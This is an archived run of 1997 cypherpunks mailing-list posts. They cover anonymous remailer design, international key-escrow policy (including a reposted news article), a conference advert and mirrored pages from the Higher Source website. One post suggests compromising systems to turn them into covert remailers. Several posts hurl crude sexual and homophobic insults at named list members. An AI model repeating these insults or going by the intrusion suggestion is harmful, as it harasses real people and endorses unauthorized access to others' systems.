 > What we need to do, is to arrange a wide-spread anonymous mail system
 > on the internet, which is accepted as unchangeable on a practical
 > basis, where no reply addresses, and no indication of sender is given,
 > and it accepted as a given that the sender can not be traced.

Hmm, could a NYM account maybe serve as entry and exit point for a
remailer? That would

- - have the advantage, that the remailer, the domain and the
operator aren't even known ("Anonymity for anonymous remailers" -
my former proposal of usage of "shared account" remailers becomes
an actual possibility here) and therefore shut-downs are unlikely.
With the exception of the NYM-account, which is trivial to replace.

- - make traffic analysis even harder, for alone by the reply block
chain an incoming and outgoing message would "disappear" in other
traffic, not to mention, that the NYM account remailer (and the
attached reply block chain) could be only one adress in an even
longer chain of remailers.

- - encrypt even plain-text messages at least on their way through the
reply block chain conventionally, thereby adding to resistance to
traffic analysis.

- - even out the message load of the available remailers by using
preferrably the remailers with only little traffic for the reply
block chain, yet again helping against traffic analysis of the
general remailer network.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzoCVTltEBIEF0MBAQEWPwf/VnssE40IAI0IbHsuzMpYcEg2NaivLXTL
teqLYujZJEZPOKh+N+/uZrsPx1qyzppLXtPHLfbG7H4YGsZLX/nDcesRfwHMC5z5
R8SE90VEKkTRIWGE5OsXaeJaNWhb+GBJzzRosGlgLv6YT5lTuMO5jfuNxdmbcprh
M2W6RPRljNpg2SRlq/Y1Ci8dOAJFigQUoiZju0+ZrmnZUCddE0Ot5zDA/su8yKX2
5/Ul4/1ccZeBJNbZbZF/c4zEDshZcWqwD+5vAdg9yIhyixMPsJb184+SKLl/Nwrb
nAkDIn7QBWJiRJnW2ZYl2KmuKmjPGhZ2FSvCuAjYD5K3eCvuh9wO9A==
=uiY3
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 23:10:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703270557.XAA27131@manifold.algebra.com>
Message-ID: <eLq84D40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dale Thorn wrote:
> >
> > Alec wrote:
> > > At 01:27 AM 3/26/97 -0600, Toto wrote:
> > > |I emailed John Gilmore, asking his advice, and he informed me that
> > > |he has run into this problem before, and would be happy to provide the
> > > |solution, on one condition.
> > > |  He wants one million monkeys to send 5737 messages to the list, saying
> > > |"John Gilmore is NOT a cocksucker."
> > > |  Then, he will provide the solution, and not a moment before.
> >
> > > OK, John, count me in. #1!
> > > "John Gilmore is NOT a cocksucker."
> >
> > EHHHH!  John Gilmore IS a cocksucker.  This "yes" vote makes up for
> > 10 "no" votes, so you folks better get real busy.
> >
>
> I can tell you even without John Gilmore, the corrupted From: lines are
> a direct result of the government conspiracy to suppress cypherpunks
> movement. A typical man in the middle attack, if you wish.

Yes indeed - Cocksucker John Gilmore is the man in the middle,
getting it from Greg Broils and giving it to Sandy Sandfart.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 26 Mar 1997 23:41:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PKC
Message-ID: <199703270740.CAA29935@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck Tim Maya in the ass, a rabid tapeworm 
might bite your penis.

   /\ _ /\          |
  |  0 0  |-------\==
   \==@==/\  ____\ |
    \_-_/ _||    _||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 27 Mar 1997 04:15:53 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: [Proposal:] Revolving Web Mirrors
In-Reply-To: <3.0.1.32.19970327012849.0063bcc8@popd.ix.netcom.com>
Message-ID: <333A551E.C23@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> >> Maybe a mailing list/news group that could
> >> post current URL's for the mirrors?
> 
> Having the pattern matcher look for (and delay) potential mirror lists
> is more productive, since you can catch them at the Nationalist Firewall
> before they get into the country.  Maybe.  If readers know what to
> look for in their news postings, censors probably do to.
> 
> Email is tougher - the Bad Guys don't need to find the source of the
> mirror listings (presumed to be in a non-cooperative country,
> if you can find it at all) - they can find the recipients of the lists,
> and go beat them up.

  Maybe it's time to set up an "InterNet Free Europe" type of program.
Crypto and remailers seem to be well-suited to the task of implementing
the dissemination of information and protecting identities of the many
individuals who would be involved.
  CyberHackers could compromise a few systems, to turn them into 
innocent remailers, and this would open the door for the administrators
of other systems to 'fake' system attacks, and do some remailing 
themselves.
  CryptoRebels could disseminate encryption programs containing the
public keys that would be used for the InterNet broadcasts in certain
cases.

  One of the keys to "InterNet Free World" (a better name?) would be
to make a habit of disseminating a plethora of 'false' encrypted 
messages with little or no meaning, and no available key, as a cover 
for the messages that are actually targeted for certain users or
systems.
 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Mar 1997 04:10:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD: No GAK
Message-ID: <1.5.4.32.19970327120223.006d3e30@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


   The New York Times, March 27, 1997, pp. A1, D3.

   U.S. Rebuffed in Global Proposal For Eavesdropping on the
   Internet 

   By John Markoff

   In a setback for the Clinton Administration that
   demonstrates the difficulty of setting global policies for
   the Internet, the leading industrial nations have declined
   to embrace a United States proposal to allow computer
   eavesdropping by the world's law enforcement agencies.

   The United States proposal, backed by Britain and France,
   was an attempt to restrict the private use of increasingly
   advanced data-scrambling technology that can protect the
   privacy of electronic mail and other forms of computer
   communication. The equipment can make it difficult for law
   enforcement officials to crack a code when they suspect it
   is masking criminal or terrorist activities.

   The proposal called for international endorsement of a
   system in which mathematical keys to computer-security
   codes would be held by escrow agents from whom law
   enforcement officials could obtain the keys once they have
   a court's wiretapping warrant.

   But policy guidelines scheduled to be released in Paris
   today by the 29-nation Organization for Economic
   Cooperation and Development fail to endorse the United
   States proposal. And they leave such leeway for members to
   regulate data-scrambling technology--or not--that computer
   security experts say any uniform international policy
   remains elusive.

   "The difficulty with the guidelines is that anybody can
   interpret parts of them in their own way," said Konstantine
   Papanikdaw, a policy analyst for information security at
   the European Commission in Brussels.

   Indeed, the industrial world seems to be deeply divided on
   whether governments can ever legitimately eavesdrop on the
   electronic communication of their citizens. Because
   messages on the Internet are easy to intercept, a growing
   number of individuals and corporations are protecting the
   privacy of their communications and the security of their
   commercial transactions by scrambling such information.

   Some O.E.C.D. nations, including Britain and France, have
   either outlawed or are in the process of tightly regulating
   the private use of data-scrambling systems. But other
   nations--including Australia, Canada Denmark and
   Finland--have policies that protect individual privacy.
   Among other member nations, Japan had initially resisted
   the United States proposal but was said to be moving closer
   to it, while Germany remained deeply divided.

   Most other countries, inside or outside the O.E.C.D., have
   yet to confront the data-scrambling issue. And even the
   United States has a somewhat contradictory national policy
   that permits citizens to use whatever data-scrambling
   software they wish within the nation's borders, but
   restricts the export of the most up-to-date computer-coding
   technology.

   That seeming contradiction, however, did not prevent the
   Clinton Administration in recent months from waging a
   vigorous behind-the-scenes effort for its proposal. And
   hoping to resolve some of the policy conflicts, the
   Administration is now circulating draft legislation on
   Capitol Hill which would attempt to control even the
   domestic use of data-scrambling software and establish a
   key-escrow system for the United States.

   While the O.E.C.D. has no authority to set international
   policy, its recommendations are frequently used by member
   nations in setting their own foreign and trade policies.
   And the privacy and law-enforcement aspects of the Internet
   are issues on which member governments have been desperate
   for guidance.

   But even though most of the O.E.C.D. discussions involved
   law enforcement officials, who have been the main advocates
   for measures that would insure their ability to crack
   codes, European officials say that there was never much
   agreement on what to do.

   And so the primary recommendation in the report, a copy of
   which was obtained by The New York Times, simply gives
   O.E.C.D. member nations the latitude to do as they see fit
   when it comes to data scrambling, which is formally known
   as cryptography.

   "National cryptography policies may allow lawful access to
   plain text, or cryptographic keys, or encrypted data," the
   report says.

   Privacy-rights advocates see the O.E.C.D. guidelines as a
   critical setback for the Clinton Administration. "The U.S.
   proposal to endorse lawful access to private keys was
   explicitly rejected by the O.E.C.D. member countries," said
   Marc Rotenberg of the Washington-based Electronic Privacy
   Information Center and a member of the O.E.C.D.'s advisory
   group. "The O.E.C.D. chose instead a policy based on
   voluntary, market-driven development of cryptography
   products."

   And even supporters of the United States position
   acknowledged that guidelines were a disappointment.

   "The United States probably had more success raising
   consciousness then getting language that could he treated
   as an endorsement for key recovery," said Stewart Baker, a
   former National Security Agency official who participated
   on the American delegation to the O.E.C.D.

   Meanwhile, executives for the United States computer
   industry were critical of the O.E.C.D. for even leaving the
   door open for governments to set national policies on data
   scrambling.

   "We think that markets, not governments, should be the
   primary determinants of technology solutions," said Jon
   Englund, a vice president at the Information Technology
   Association of America, a trade group.

   Many experts question whether governments can ever hope to
   insure law enforcement access to electronic messages or to
   restrict the spread of super-strong coding software,
   because new, more powerful versions can always be developed
   and easily transmitted over the Internet in the blink of an
   eye.

   And any international effort is almost certainly doomed if
   some countries refuse to go along with a common approach,
   because people looking for strong encryption can simply
   acquire it wherever the laws are lax. In fact, the big
   German company Siemens A.G. recently introduced an
   encryption system that it advertises as being much more
   powerful than American companies can export under United
   States law.

   Besides the United States, France and Britain both support
   a system for enabling law enforcement officials to obtain
   keys to data-scrambling codes. France has already passed a
   stringent law that requires participation in such a system,
   although the rules to carry out the law have not yet been
   worked out.

   And in recent days, Britain has quietly circulated the most
   restrictive proposal of any nation, a domestic policy under
   which the Government would allow private use only of
   cryptography that was officially licensed, to make sure
   that the software uses code that law enforcement officials
   can crack.

   Under such laws, of course, criminals and terrorists might
   logically choose to use unauthorized encryption software.
   But the mere fact that such use would be a crime may be a
   deterrent--or give the police grounds to arrest anyone
   whose communications were indecipherable.

   In Germany, encryption remains a deeply divisive issue. The
   Interior Ministry has supported the need for encryption
   restrictions of some sort, but the Justice Ministry and the
   Economics Ministry have both signaled their opposition. And
   German businesses have been outspoken opponents against any
   new restrictions on data scrambling.

   Meanwhile, United States export restrictions have been a
   boon for Brokat Informationssysteme G.m.b.H., a
   two-year-old start-up company in Boblingen, Germany. Brokat
   supplies secure electronic transaction software for banks
   like Deutsche Bank and on-line services like America Online
   in Europe.

   One of Brokat's hottest products is the Expresso Security
   Package which essentially adds strong encryption to the
   World Wide Web browsers and Internet server software sold
   by two of the largest American software companies--
   Microsoft and Netscape Communications.

   [End]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 27 Mar 1997 08:37:39 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: KRAP
In-Reply-To: <199703262100.QAA13328@upaya.multiverse.com>
Message-ID: <3.0.1.32.19970327082300.02e373e0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:21 PM 3/26/97 -0600, Toto wrote:
>Jeremey Barrett wrote:
>
>> >  Key Recovery Agents Plan
> 
>> I dunno, but they couldn't have picked a better acronym :-)
>
>  Good eye. I read about it and never noticed their
>truth-in-advertising acronym.
>
>  You are hereby awarded 50,000,000 Toto Eca$h credits.
>  (1,000,000,000,000,000,000 = 1 peso)

Actually the anacronym was posted a couple of months ago.  (Check the
archives, if they still exist.)

In the original posting, I pointed out that if they are the Key Recovery
Alliance, then what they produce mut be Key Recovery Alliance Products (aka
KRAP).  But then that was on a parellel universe/listserv.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMzqe2OQCP3v30CeZAQGK1Qf9HTYic3rKPZMVqd2uyfUbGTIP9J1vXF1X
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X01W2Agug/UaEtnXYnzXxkFuIU8AB46z4nDTj3ZTlKw7fmJCYAWIXw==
=skFo
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 27 Mar 1997 07:49:36 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: PKC
In-Reply-To: <199703270740.CAA29935@dhp.com>
Message-ID: <Pine.A41.3.95.970327084637.6952A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, lucifer Anonymous Remailer wrote:

Vulis pill time.

> might bite your penis.
> 
>    /\ _ /\          |
>   |  0 0  |-------\==
>    \==@==/\  ____\ |
>     \_-_/ _||    _||
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html
                                             : real@freenet.edmonton.ab.ca
Graham-John Bullers                      email
                                             : ab756@freenet.Toronto on.ca    
                   Moderator of alt.2600.moderated





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 27 Mar 1997 07:56:57 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <eLq84D40w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970327085338.6952B-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

Pill time Vulis
> 
> Yes indeed - Cocksucker John Gilmore is the man in the middle,
> getting it from Greg Broils and giving it to Sandy Sandfart.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html
                                             : real@freenet.edmonton.ab.ca
Graham-John Bullers                      email
                                             : ab756@freenet.Toronto on.ca    
                   Moderator of alt.2600.moderated





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 27 Mar 1997 08:12:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: MC / My Computer?
Message-ID: <199703271612.LAA05007@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 27 Mar 1997 08:20:50 -0800 (PST)
To: gnu@toad.com (John Gilmore)
Subject: Re: UK domestic crypto regulation proposal *is* Clipper
In-Reply-To: <199703270440.UAA22819@toad.com>
Message-ID: <199703271620.LAA23414@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


> 
> I've seen several comments on cypherpunks that misconstrue the UK proposal.
> E.g. Phillip Hallam-Baker said:
> 
> > First off the proposals are not intended as a Trojan horse for
> > the Clipper chip "or any other colonial scheme".
> > ...
> > They are emphatically not trying to introduce a Clipper chip proposal.
> 
> Unfortunately, I believe he is wrong.  It's worse than Clipper, since
> it outlaws the competition.
> 
> The proposed legislation would make it illegal to offer the UK public
> any service related to key management, including simply signing
> peoples' keys, without being licensed by the state. 

After making my first posting I re-read the last half of the DTI proposal
and came to the same conclusion as Gilmore. The first half explicitly
denies that they are enforcing GAK, then the specific legislative
proposals propose GAK.

Like much of the governments activities the DTI report is transparently
deceitfull. 

Fortunately there is no need to get too worked up about it. Its a green
and these proposals will go nowhere if the Tories lose the election.
Since they are twenty points behind and curently facing fresh allegations
of bribe taking this does not seem very likely.

The current Home Secretary is a walking civil rights threat. So far he has
abolished the right to silence, to demonstrate and is haulled up in front 
of the courts for abusing his office on a practically monthly basis. GAK
would be the least of worries were they to be elected.

Unfortunately his Labour shadow appears to have been trying to out-thug
him. If Howard proposed the return of hanging Straw would demand drawing
and quartering. 

Since the Labour opposition have been the target of a considerable amount of
improper use of wire-taps and other forms of surveillance there are many 
who are likely to be very usefull allies.

The real question is whether the pro-crypto message becomes widely known 
before the civil service starts whispering in ministers ears.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Thu, 27 Mar 1997 08:24:34 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: remailer spam throttle
In-Reply-To: <3.0.1.32.19970327001712.0065b100@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.94.970327105022.9176l-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, Bill Stewart wrote:

> Andy's model of a remailer in which the remailer sends the recipient 
> a delivery notice with a disclaimer/waiver/etc. and the recipient returns
> it to pick up the message raises the level of politeness and lowers
> the amount of surprise compared to current remailers, so it's a 
> potentially big win.  If I start up a remailer again some year,
> other than a middleman, it'll definitely need this kind of feature.
> Building the positive public reputation of remailers and remailer
> operators is a critical part of keeping the remailer system running,
> at least as much as convenient, widely-deployed software.

Well, I hope to have something for you soon. I've been too busy over the
last few months to work on it, but that may be changing. I'll make an
appropriate announcement when it's ready.

> For posting to Usenet, the "we have an anonymous posting, anybody want it"
> approach doesn't sound highly practical, though it could be done,

I mentioned this in another post, but USENET posts would simply have the
disclaimer and not a delivery notice.

> There's also the problem of publishing acceptable newsgroup lists,
> since failing messages silently is unfriendly to users, but 
> there's a traffic analysis problem (Bad Guys can watch who fetches
> remailer use policies and build up their dossiers.)

I've made stats/keys/help for dustbin available via WWW at
http(s)?://porky.athensnet.com/~dustman/dustbin. The truly paranoid can
use https://www.anonymizer.com.

I have considered the possibility of auto-encrypting to recipients: 
Encrypt using the recipient's public key if it is on the remailer's
keyring or on the key server (which I can quickly check via http). Two
problems: What if the user generates a new key? Some mechanism needs to
exist for the user to inform the remailer, since it already has a key on
its keyring and won't check the server. And: Malicious users can put
phoney keys on the keyserver so the real user gets encrypted stuff that
they can't decrypt.  Solution: Keys need to be verified by magic cookie
exchange before they are used. Users mail their public keys to the
remailer, perhaps even through a remailer chain. The software gets their
e-mail address from the key ID, sends them an encrypted magic cookie, the
user decrypts with their secret key, mails it back to the remailer (signed
and encrypted). For a very low-risk remailer (more risky than middleman,
perhaps), you could require all recipients to supply PGP public keys
before delivering messages, an interesting twist on "PGP only" :). This
would be great for nym chains, not so great for other things, though the
remailer could resort to middleman operation in the case of recipients who
haven't supplied keys. Dustbin does something related already: If the
recipient is a known remailer, it doesn't chain; otherwise it selects a
remailer to chain through. (Note: I don't consider a USENET group a
"recipient".)

--
Andy Dustman / Computational Center for Molecular Structure and Design / UGA
You can have my PGP public key by sending mail with subject "send file key".
You can have my PGP secret key when you pry it out of my cold, dead neurons.
http://charon.chem.uga.edu/~andy    mailto:andy@CCMSD.chem.uga.edu    <}+++<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Thu, 27 Mar 1997 11:20:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: ZDNet Members-Only:  JavaOne Discount!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.21057.03271997105440.140213@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------------------
           ZDNET ANNOUNCEMENT          3/26/97
-----------------------------------------------------------------------------

Greetings from ZDNet!

Ziff-Davis, a Silver co-sponsor of JavaOne(sm) has an exclusive offer 
for ZDNet Members:  Attend JavaOne(sm) on April 2-4 for a  *SPECIAL* 
low rate of $995, a $200 discount!

What:        JavaOne, Sun's 1997 Worldwide Java Developer Conference
Where:       Moscone Convention Center, San Francisco, California
When:        April 2-4, 1997

Here's your chance to get in-depth technical knowledge directly from the 
source:  Sun's Java Development Team. JavaOne(sm) is three very full 
days of intensive Java learning from the people who invented Java.  
If you are an Internet developer or want to be one, you won't  want to miss it!  
Keynotes will be delivered by Scott McNealy, James Gosling, Alan Baratz, 
Vinton Cerf, Eric Schmidt, and Jeff Johnson.

In addition to the three day conference, there will be loads of extracurricular 
activities that will further your opportunity to learn about Java and to meet 
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JavaOne web site at http://java.sun.com/javaone/

To register at this special rate of $995, please call 800-668-2741 (US & 
Canada), or 415-372-7077 (International) before March 28, and refer to source 
code "JAVAZIFF."  If space is still available, you can register at this special rate 
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For more Information: 

http://java.sun.com/javaone/
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 27 Mar 1997 10:34:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Higher Sources / Index
Message-ID: <333ABD3A.3347@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: Higher Source - Web Site Design And Programming


















<a href="file:///C|/My Documents/Higher Source/pro/main.htm#1" target="_top"
  
 >
 <img border=0 name="navb1a" src="file:///C|/My Documents/Higher Source/img/navb1a_0.gif" 
 alt="Services" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/pro/main.htm#5" target="_top"
  
 >
 <img border=0 name="navb1b" src="file:///C|/My Documents/Higher Source/img/navb1b_0.gif" 
 alt="Security/Privacy" hspace=0 vspace=0>




<a href="file:///C|/My Documents/Higher Source/pro/main.htm#2" target="_top"
  
 >
 <img border=0 name="navb2a" src="file:///C|/My Documents/Higher Source/img/navb2a_0.gif" 
 alt="Website Design" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/clients/clients.htm" target="_top"
 
 >
 <img border=0 name="navb2b" src="file:///C|/My Documents/Higher Source/img/navb2b_0.gif" 
 alt="" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/pro/main.htm#6" target="_top"
  
 >
 <img border=0 name="navb2c" src="file:///C|/My Documents/Higher Source/img/navb2c_0.gif" 
 alt="Programming" hspace=0 vspace=0>




<a href="file:///C|/My Documents/Higher Source/pro/main.htm#3" target="_top"
  
 >
 <img border=0 name="navb3a" src="file:///C|/My Documents/Higher Source/img/navb3a_0.gif" 
 alt="Graphic Design" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/clients/clients.htm" target="_top"
 
 >
 <img border=0 name="navb3b" src="file:///C|/My Documents/Higher Source/img/navb3b_0.gif" 
 alt="" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/pro/main.htm#7" target="_top"
  
 >
 <img border=0 name="navb3c" src="file:///C|/My Documents/Higher Source/img/navb3c_0.gif" 
 alt="Systems Analysis" hspace=0 vspace=0>




<a href="file:///C|/My Documents/Higher Source/pro/main.htm#4" target="_top"
  
 >
 <img border=0 name="navb4a" src="file:///C|/My Documents/Higher Source/img/navb4a_0.gif" 
 alt="Audio/Video" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/clients/clients.htm" target="_top"
 
 >
 <img border=0 name="navb4b" src="file:///C|/My Documents/Higher Source/img/navb4b_0.gif" 
 alt="" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/pro/main.htm#8" target="_top"
  
 >
 <img border=0 name="navb4c" src="file:///C|/My Documents/Higher Source/img/navb4c_0.gif" 
 alt="The Difference" hspace=0 vspace=0>




<a href="file:///C|/My Documents/Higher Source/clients/clients.htm" target="_top"
  
 >
 <img border=0 name="navb5c" src="file:///C|/My Documents/Higher Source/img/navb5c_0.gif" 
 alt="Sample Websites" hspace=0 vspace=0>


JAVA / VRML / GRAPHICS
| Services | Web Site Design | Graphic Design | Audio/Video || Security/Privacy | Programming | System Analysis | The Difference || Sample Websites |
Email US hsce@highersource.com
 




Visitors 







<!-- Concentric Network Corporation provides this web directory as
a service to its customers and is not responsible for its content. -->





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 27 Mar 1997 10:34:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Heaven's Gate / Main
Message-ID: <333ABD6C.68D4@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: Services: Website Design Graphic Design Audio/Video









	 
	



	Now that the public is rapidly adopting the Internet as the primary
source for their informational needs, we at Higher Source not only cater to
customizing websites that will enhance your company image, but strive to make
your transition into the "world of cyberspace" a very easy and fascinating
experience.  Higher Source's Internet World Wide Web services include:



	Higher Source's Internet World Wide Web services include:
 

	Advanced Website Design
	Graphic Design and Layout
	Digital Audio and Video Integration


	Java, ShockWave, VRML Programming
	Domain Name Search and Registration
	Strategies to Increase Web Traffic


	PGP, Privacy and Security Training
	Multimedia Application Development
	Custom Programming in Many Languages


	Intranet Design and Implementation
	Search Engine Placement
	Systems Analysis and Consulting


	Systems Setup and Training

 







	 
	


	

	We understand the many variations and limitations of the Internet and
of Web browser applications.  Designing a Web page that looks great on a PC or
a Mac and with different browser technologies takes time-tested experience.
Our highly skilled designers are aware of the latest tricks of the trade,
including the latest Internet multimedia presentation technology.


 












	 
	


	

	Graphics can add the punch needed to attract the attention of even the
most elusive Web surfer.  Graphics can also slow website loading time to a
boring crawl and cause potential customers to look elsewhere.  Our Website
designers know what it takes to work within these parameters and any
budget to give your website the desired impact.  Whether using stock or custom
photography, cutting-edge computer graphics, or plain HTML text, Higher Source
can go from "cool" to "corporate" like a chameleon.


 










	 
	



	With the increasing presence of advertising on the Internet comes the
need to offer advanced products and services.  The Web is a perfect match for
Multimedia presentation, from 3D animation to full-motion video and audio.  We
stay current with multimedia technologies from AVI and Quicktime to ShockWave
and Java.

The Film and Music industries have welcomed the Internet with open arms as an
inexpensive and innovative new medium for exposure.  With better technology
being introduced almost monthly, TV and Internet will soon be all inclusive.


 










	 
	


	

	Along with the ease of Internet connectivity comes increased concern
over personal and corporate security.  Many users are unaware of how vulnerable
they are to others with questionable ethics.  Higher Source offers consultation
and training on systems using secure transactions and electronic
communications.  This knowledge will help de-mystify the inner workings of the
Net, increase your confidence, and ensure safety in all of your Internet
endeavors.

 












	 
	

	

	The Higher Source programming crew has successfully completed many
development projects in both large and small systems environments and in a
variety of languages.  Chances are your cellular phone or pager company uses
programs designed by our team of professionals.  So do many banks and other
major corporations.


	

	Java is fast becoming the platform of choice with its multiple variations,
inherent speed, security, and application potential.



	Java
	 C and C++
	COBOL (MFC and Mainframe)


	Visual Basic 
	Assembler
	Visual FoxPro


	FoxPro
	Informix
	QBX


	SQL 
	Pascal 
	Fortran


         Databus
	ZAPD
	Shell Script


	4th-Generation Languages

 















	 
	

	

	With topnotch accuracy, our CNE's, MCP's, and technicians can help you
with local and wide area networks, intranet setup, helpdesk design and
other state-of-the-art technologies.  We're proficient with Windows 95/NT,
Novell Netware, and Unix, to name a few.  Our "hands-on" consultants and
engineers can also help you with digital phone systems, computer telephony,
hardware/software installation, cabling, troubleshooting, and training.  Higher
Source is very much "in tune" with the current pulse and future direction of
technology.


 





	 
	



	The individuals at the core of our group have worked closely together
for over 20 years.  During those years, each of us has developed a high degree
of skill and know-how through personal discipline and concerted effort.  We try
to stay positive in every circumstance and put the good of a project above any
personal concerns or artistic egos.  By sustaining this attitude and conduct,
we have achieved a high level of efficiency and quality in our work.  This
crew-minded effort, combined with ingenuity and creativity, have helped us
provide advanced solutions at highly competitive rates.


 













A Few Sample Websites!
"Pre-Madonna"   Live CD samples, CD sales http://www.pre-madonna.com
"Keep The Faith"  Online CD sales catalog, audio samples, shopping cart, Discussion Forums, Live 3D Avatar Chat Rooms http://www.keepthefaith.com
"Kushner-Locke"   Film production industry, corporate portfolio http://www.kushner-locke.com
"San Diego  Polo Club" Polo Club online http://www.sandiegopolo.com
"1800 Harmony"  Audio, Online Ordering, Animation http://www.1800harmony.com
"British Masters" Online sales of British Cars and accessories http://www2.4dcomm.com/bmr
"Samia Rose Topiary" Custom and tabletop topiaries available http://www.srtopiary.com













JAVA / VRML / GRAPHICS
Email US hsce@highersource.com
Or           font@cris.com



<!-- Concentric Network Corporation provides this web directory as
a service to its customers and is not responsible for its content. -->




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 27 Mar 1997 11:16:27 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com
Subject: [NTSEC] CIFS Authentication Protocol Errata (fwd)
Message-ID: <Pine.SUN.3.91.970327141856.11156B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
